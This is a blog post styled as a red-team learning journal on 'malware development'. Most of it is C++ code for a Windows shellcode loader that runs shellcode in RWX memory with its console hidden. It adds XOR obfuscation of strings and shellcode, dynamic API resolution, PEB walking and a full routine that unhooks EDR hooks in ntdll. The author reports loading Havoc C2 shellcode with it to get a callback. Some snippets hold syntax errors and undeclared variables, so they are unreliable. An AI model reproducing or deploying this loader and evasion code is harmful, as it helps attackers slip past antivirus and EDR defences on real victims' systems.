Malware Development 101

Malware development is considered a key skill in red team operations. Understanding techniques to evade detection by Endpoint Detection and Response (EDR) systems and antivirus solutions within a target environment is essential.

This blog reflects my personal learning journey and interpretations. I’m starting from a beginner’s perspective and will share insights as I progress. The malware examples discussed here won’t be highly sophisticated—just enough to illustrate the core concepts and provide a foundation for building something functional.

Malware follows the following workflow

Allocate: VirtualAllocEx - allocate memory
Write: WriteProcessMemory - write to memory
Execute: CreateRemoteThread - execute contents of memory

The main focus of EDR/AD evasion is to be able to prevent detection when running our malicious processes , some of the detection techniques:

Signature Based Detection - Signature-based detection relies on known patterns of malicious code—binary strings, hashes, or specific instruction sequences—to identify threats.
Heuristic Detection - Heuristic detection involves static and dynamic rule-based checks on code, looking for suspicious attributes or behaviors.
Behavioral Detection - Behavioral detection monitors the runtime behavior of processes and correlates it with known malicious patterns.
ML Based Detection - ML detection involves training models on large datasets of benign and malicious behavior to identify anomalies or malware-like patterns.

Here i will start on simple techniques and gradually advance by replacing each part of my malware workflow with more advanced techniques.

Below is the baseline

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64


#include <windows.h>
#include <iostream>
#include <fstream>

int main()
{
    // Hide the console window
    ::ShowWindow(::GetConsoleWindow(), SW_HIDE);

    // Open the shellcode file in binary mode
    std::ifstream file("shellcode.bin", std::ios::binary | std::ios::ate);
    if (!file)
    {
        return 1; // Silently fail
    }

    std::streamsize size = file.tellg();
    file.seekg(0, std::ios::beg);

    char* buffer = new char[size];
    if (!file.read(buffer, size))
    {
        delete[] buffer;
        return 1;
    }

    LPVOID execMem = VirtualAlloc(
        nullptr,
        size,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );

    if (!execMem)
    {
        delete[] buffer;
        return 1;
    }

    memcpy(execMem, buffer, size);
    delete[] buffer;

    HANDLE hThread = CreateThread(
        nullptr,
        0,
        (LPTHREAD_START_ROUTINE)execMem,
        nullptr,
        0,
        nullptr
    );

    if (!hThread)
    {
        return 1;
    }

    // Keep the process alive
    while (true)
    {
        Sleep(5000);
    }

    return 0;
}

The program above is a simple shellcode loader , it follows the workflow mentioned above . But this is a basic version that is easily detectable by advanced EDR solutions.

Static Detection Evasion

IOC encryption

Most AV engines scan for hardcoded strings such as API names, command-line arguments, URLs, or shellcode markers. To avoid detection: Use of string encryption and obfuscation methods for possible IOCs can be used to bypass this.

Common IOCs include hardcoded IP addresses, domain names, file paths, mutex names, and registry keys. If your binary contains these directly, it becomes an easy target for static and behavioral engines.

Examples:

For ip

1
2
3
4
5
6


const char* part1 = "192";
const char* part2 = ".168";
const char* part3 = ".0";
const char* part4 = ".1";

std::string ip = std::string(part1) + part2 + part3 + part4;

For domain

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


#include <windows.h>
#include <iostream>
#include <string>
#include <vector>

std::string xor_decode(const std::vector<unsigned char>& data, char key) {
    std::string result;
    for (auto c : data)
        result += c ^ key;
    return result;
}

int main() {
    std::vector<unsigned char> obf_domain = {0x7F, 0x74, 0x70, 0x71, 0x74, 0x65}; // xor with 0x12
    std::string domain = xor_decode(obf_domain, 0x12);
    std::cout << "Decoded domain: " << domain << std::endl;

    return 0;
}

Shellcode can also be encoded using XOR or by generating it using tools such as » donut that can generate undetectable shellcode.

1
2
3
4
5
6
7
8


unsigned char enc_shellcode[] = {
    0xAA, 0xBB, 0xCC // XORed payload
};

void xor_decode(unsigned char* buf, size_t len, unsigned char key) {
    for (size_t i = 0; i < len; ++i)
        buf[i] ^= key;
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


// XOR decode function
std::string xor_decode(const char* enc, char key) {
    std::string out;
    while (*enc) {
        out += (*enc ^ key);
        enc++;
    }
    return out;
}

int main() {
    char encDll[] = { 'k' ^ 0x2A, 'e' ^ 0x2A, 'r' ^ 0x2A, 'n' ^ 0x2A, 'e' ^ 0x2A, 'l' ^ 0x2A, '3' ^ 0x2A, '2' ^ 0x2A, '.', ^ 0x2A, 'd' ^ 0x2A, 'l' ^ 0x2A, 'l' ^ 0x2A, '\0' };
    char encApi[] = { 'V' ^ 0x2A, 'i' ^ 0x2A, 'r' ^ 0x2A, 't' ^ 0x2A, 'u' ^ 0x2A, 'a' ^ 0x2A, 'l' ^ 0x2A, 'A' ^ 0x2A, 'l' ^ 0x2A, 'l' ^ 0x2A, 'o' ^ 0x2A, 'c' ^ 0x2A, '\0' };

    std::string dll = xor_decode(encDll, 0x2A);
    std::string api = xor_decode(encApi, 0x2A);

    HMODULE hDll = LoadLibraryA(dll.c_str());
    FARPROC fn = GetProcAddress(hDll, api.c_str());
}

Avoid Importing Suspicious Apis Directly

The first pitfall of the above sample is statically importing suspicious APIs (e.g., VirtualAlloc, CreateRemoteThread, WriteProcessMemory) , this can trigger signature-based AVs.

So we can replace them by using LoadLibraryA (Load the DLL) and GetProcAddress (Resolve function address)

1
2
3
4


FARPROC get_api(const char* lib, const char* func) {
    HMODULE hMod = LoadLibraryA(lib);  // Load the DLL
    return GetProcAddress(hMod, func); // Resolve function address
}

Used in context

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


typedef LPVOID(WINAPI* pVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);

int main() {
    pVirtualAlloc myVA = (pVirtualAlloc)get_api("kernel32.dll", "VirtualAlloc");
    void* mem = myVA(NULL, sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    
    
    if (!mem){
	    printf("VirtualAlloc failed.\n");
        return;
    }    
    memcpy(execMem, payload, sizeof(payload));
    ((void(*)())execMem)();
    
    return 0;
}

Behavioral Detection

This can be bypassed by using the following techniques;

Dynamically resolving apis using LoadLibraryA (Load the DLL) and GetProcAddress (Resolve function address)
Manually Walking the PEB and export table

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40


#include <windows.h>
#include <winternl.h>
#include <iostream>

#pragma comment(lib, "ntdll.lib")

typedef struct _PEB_LDR_DATA {
    ULONG Length;
    BOOLEAN Initialized;
    PVOID SsHandle;
    LIST_ENTRY InLoadOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;

typedef struct _LDR_DATA_TABLE_ENTRY {
    LIST_ENTRY InLoadOrderLinks;
    PVOID Reserved1[2];
    PVOID DllBase;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
    // ... truncated
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

int main() {
    PPEB pPeb = (PPEB)__readgsqword(0x60); // PEB is at GS:[0x60] on x64

    PPEB_LDR_DATA pLdr = (PPEB_LDR_DATA)pPeb->Ldr;
    LIST_ENTRY* pList = &pLdr->InLoadOrderModuleList;

    LIST_ENTRY* pCurrent = pList->Flink;

    while (pCurrent != pList) {
        PLDR_DATA_TABLE_ENTRY pEntry = (PLDR_DATA_TABLE_ENTRY)pCurrent;

        std::wcout << pEntry->BaseDllName.Buffer << std::endl;

        pCurrent = pCurrent->Flink;
    }

    return 0;
}

SysWhispers/syscall-only APIs ( advanced)
Direct Syscalls ( advanced)
Indirect Syscalls ( advanced)
Unhooking ntdll at runtime - Modern EDRs frequently use inline hooking within ntdll.dll to monitor key NT native API calls like NtAllocateVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx, etc. These hooks allow EDRs to intercept and analyze system calls before they reach the kernel.

This is used at the first step before the malware is run.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56


#include <windows.h>
#include <winnt.h>
#include <iostream>

bool UnhookNtdll() {
    const wchar_t* ntdllPath = L"C:\\Windows\\System32\\ntdll.dll";

    // 1. Open clean ntdll.dll from disk
    HANDLE hFile = CreateFileW(ntdllPath, GENERIC_READ, FILE_SHARE_READ, nullptr, OPEN_EXISTING, 0, nullptr);
    if (hFile == INVALID_HANDLE_VALUE) return false;

    HANDLE hMapping = CreateFileMappingW(hFile, nullptr, PAGE_READONLY | SEC_IMAGE, 0, 0, nullptr);
    if (!hMapping) {
        CloseHandle(hFile);
        return false;
    }

    // 2. Map clean copy into memory
    LPVOID cleanNtdll = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
    if (!cleanNtdll) {
        CloseHandle(hMapping);
        CloseHandle(hFile);
        return false;
    }

    // 3. Locate `.text` section in mapped and loaded copies
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)cleanNtdll;
    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)cleanNtdll + dosHeader->e_lfanew);
    PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);

    LPVOID ntdllBase = GetModuleHandleW(L"ntdll.dll");

    for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++, section++) {
        if (memcmp(section->Name, ".text", 5) == 0) {
            DWORD oldProtect;
            LPVOID pDest = (LPBYTE)ntdllBase + section->VirtualAddress;
            LPVOID pSrc = (LPBYTE)cleanNtdll + section->VirtualAddress;

            // 4. Change memory protection
            if (VirtualProtect(pDest, section->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtect)) {
                // 5. Overwrite with clean section
                memcpy(pDest, pSrc, section->Misc.VirtualSize);

                // 6. Restore original protection
                VirtualProtect(pDest, section->Misc.VirtualSize, oldProtect, &oldProtect);
            }
            break;
        }
    }

    UnmapViewOfFile(cleanNtdll);
    CloseHandle(hMapping);
    CloseHandle(hFile);

    return true;
}

To test if your compiled malware will be detected you can use this tool. It does checking for bytes that can be flagged by Ms Defender. It can also check for ASMI bypass » ThreatCheck

Using the above techniques i load shellcode from Havoc c2 to get a callback

alt text

alt-text

Next i will move to the more advanced techniques.